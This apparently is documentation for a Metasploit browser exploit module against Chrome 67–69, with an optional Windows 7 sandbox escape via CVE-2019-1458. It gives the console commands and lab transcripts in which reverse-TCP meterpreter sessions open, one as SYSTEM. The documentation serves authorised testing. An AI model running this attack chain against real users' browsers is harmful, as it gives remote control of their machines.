## Vulnerable Application
This modules exploits a type confusion in Google Chromes JIT compiler.
The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary.
The type confusion can be used to construct a arbitrary read/write memory primitive, which is
used to write shellcode into rwx region of a WebAssembly object.

This module can target the renderer process (target 0), but Google Chrome must be launched
with the --no-sandbox flag for the payload to execute successfully.

Alternatively, this module can use CVE-2019-1458 to escape the renderer sandbox (target 1). This
will only work on vulnerable versions of Windows (e.g Windows 7) and the exploit can only be triggered once.

Additionally the exploit can cause the target machine to restart when the session is terminated.
A BSOD is also likely to occur when the system is shut down or rebooted.

The module is compatible with any 64bit Google Chrome (version 67, 68 or 69), on any platform (macOS, Linux or Windows),
however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.

**Vulnerable Application Installation Steps**

You can download a vulnerable Chrome version from this location:
[https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/](https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/)

You should ensure that application does not update itself to the latest version
(by disabling automatic updates or simply not connecting to the internet)
You may also need to disable Windows Defender.

## Verification Steps

1. Do: `use exploit/multi/browser/chrome_object_create`
1. Do: `set target [0|1]`
2. Do: `set payload windows/x64/meterpreter/reverse_tcp`
2. Do: `set LHOST [IP]`
3. Do: `set SRVHOST [IP]`
3. Do: `set URIPATH / [PATH]`
4. Do: `run`

## Options

### TARGET
```
Id  Name
--  ----
0   No sandbox escape (--no-sandbox)
1   Windows 7 (x64) sandbox escape via CVE-2019-1458
```

## Scenarios

### Windows 10 and Google Chrome 69.0.3497.100 with --no-sandbox (target 0)

Start Google Chrome without a sandbox:
`"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox`

```
msf > use exploit/multi/browser/chrome_object_create
msf exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(multi/browser/chrome_object_create) > set URIPATH /
URIPATH => /
msf exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(multi/browser/chrome_object_create) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(multi/browser/chrome_object_create) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.3     chrome_object_create - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
[*] Sending stage (206403 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49682) at 2020-02-29 14:29:06 +0800

msf exploit(multi/browser/chrome_object_create) > sessions 1
[*] Starting interaction with 1...

meterpreter > pwd
C:\Program Files (x86)\Google\Chrome\Application\69.0.3497.100
meterpreter >
```


### Windows 7 SP1 and Google Chrome 69.0.3497.100 with CVE-2019-1458 (target 1)

```


msf > use exploit/multi/browser/chrome_object_create
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(multi/browser/chrome_object_create) > set target 1
target => 1
msf exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/browser/chrome_object_create) > set URIPATH /
URIPATH => /
msf exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(multi/browser/chrome_object_create) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(multi/browser/chrome_object_create) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.3     chrome_object_create - Sending / to Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
[*] 192.168.56.3     chrome_object_create - Sending / to Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
[*] 192.168.56.3     chrome_object_create - Sending /payload to Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
[+] 192.168.56.3     chrome_object_create - Sent stage2 exploit (20000 bytes)
[*] Sending stage (200262 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49159) at 2020-10-12 18:51:15 +0800
[*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.3:49159) processing InitialAutoRunScript 'post/windows/manage/priv_migrate'
[*] Current session process is chrome.exe (2528) as: NT AUTHORITY\SYSTEM
[*] Session is already Admin and System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (480)
[+] Successfully migrated to services.exe (480) as: NT AUTHORITY\SYSTEM

msf exploit(multi/browser/chrome_object_create) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ USER-PC  192.168.56.1:4444 -> 192.168.56.3:49159 (192.168.56.3)
```
